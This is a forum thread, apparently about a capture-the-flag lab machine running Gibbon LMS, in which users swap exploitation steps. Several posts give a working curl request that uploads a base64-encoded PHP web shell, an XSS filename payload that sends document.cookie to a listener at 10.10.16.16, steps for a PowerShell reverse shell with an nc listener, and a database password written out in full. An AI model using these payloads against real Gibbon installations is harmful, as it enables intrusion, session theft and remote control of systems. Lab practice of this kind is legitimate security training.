[pop10189]

Anyone managed to crack the hash of f.frizzle ?

NVM i did crack it, by PC is slow as fuck

[Adith19051905]

i have db creds but i can not login in webshell. .\mysql.exe -h localhost -u MrGibbonsDB -p
do not response and shell dies

[Phoka]

I got a reverse shell with this, and using the following

https://www.revshells.com/
Powershell #3 Base64 encoding

i got the shell too but not like you 
PS C:\xampp\htdocs\Gibbon-LMS> whoami
frizz\w.webservice
PS C:\xampp\htdocs\Gibbon-LMS>

[Adith19051905]

how you guys connected to mysql in webshell?

[OffensiveBias]

curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Planner/resources_addQuick_ajaxProcess.php" \
-F "id=body" \
-F "bodyfile1=@file.jpg;filename=<img src=x onerror=new Image().src='http://10.10.16.16:9001?cookie='+document.cookie>.jpg" \
-F "imagesAsLinks=Y" 

uploaded the file but nothing happening.

I got a reverse shell with this, and using the following

https://www.revshells.com/
Powershell #3 Base64 encoding

how did you manage to get shell

Upload a web shell

curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
-H "Host: frizzdc.frizz.htb" \
--data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4K" \
--data-urlencode "path=shell.php" \
--data-urlencode "gibbonPersonID=0000000001"

Then generate a reverse shell with your IP and PORT on revshells.com using the PowerShell #3 (base64) option.

Then go to 
http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=[Insert base64 encoded reverse shell]

Remember to listen to the port you declared on revshells.com.

nc -lvnp XXX

Im running around trying to find a user flag

To anyone who are not getting a call back try changing you port , you are probably using 9002 or something . Change the port to 4444 or 9999 that works .

[Adith19051905]

how you guys connected to mysql in webshell?

for those who couldn't connect try this;

.\mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "show databases;" and so on

[Phoka]

curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Planner/resources_addQuick_ajaxProcess.php" \
-F "id=body" \
-F "bodyfile1=@file.jpg;filename=<img src=x onerror=new Image().src='http://10.10.16.16:9001?cookie='+document.cookie>.jpg" \
-F "imagesAsLinks=Y" 

uploaded the file but nothing happening.

I got a reverse shell with this, and using the following

https://www.revshells.com/
Powershell #3 Base64 encoding

how did you manage to get shell

Upload a web shell

curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
-H "Host: frizzdc.frizz.htb" \
--data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4K" \
--data-urlencode "path=shell.php" \
--data-urlencode "gibbonPersonID=0000000001"

Then generate a reverse shell with your IP and PORT on revshells.com using the PowerShell #3 (base64) option.

Then go to 
http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=[Insert base64 encoded reverse shell]

Remember to listen to the port you declared on revshells.com.

nc -lvnp XXX

Im running around trying to find a user flag

To anyone who are not getting a call back try changing you port , you are probably using 9002 or something . Change the port to 4444 or 9999 that works .

you can upload a simple cmd php to the web and access it boss and get a revshell using the simple php cmd

[kyakeiuwu]

Anyone managed to crack the hash of f.frizzle ?

NVM i did crack it, by PC is slow as fuck

for me rockyou didnt work what wordlist did you use?

[cavour13]

yeah buddy lol i found it too that's couse i remove the chisel part LOL

[Phoka]

get cmd from https://www.revshells.com/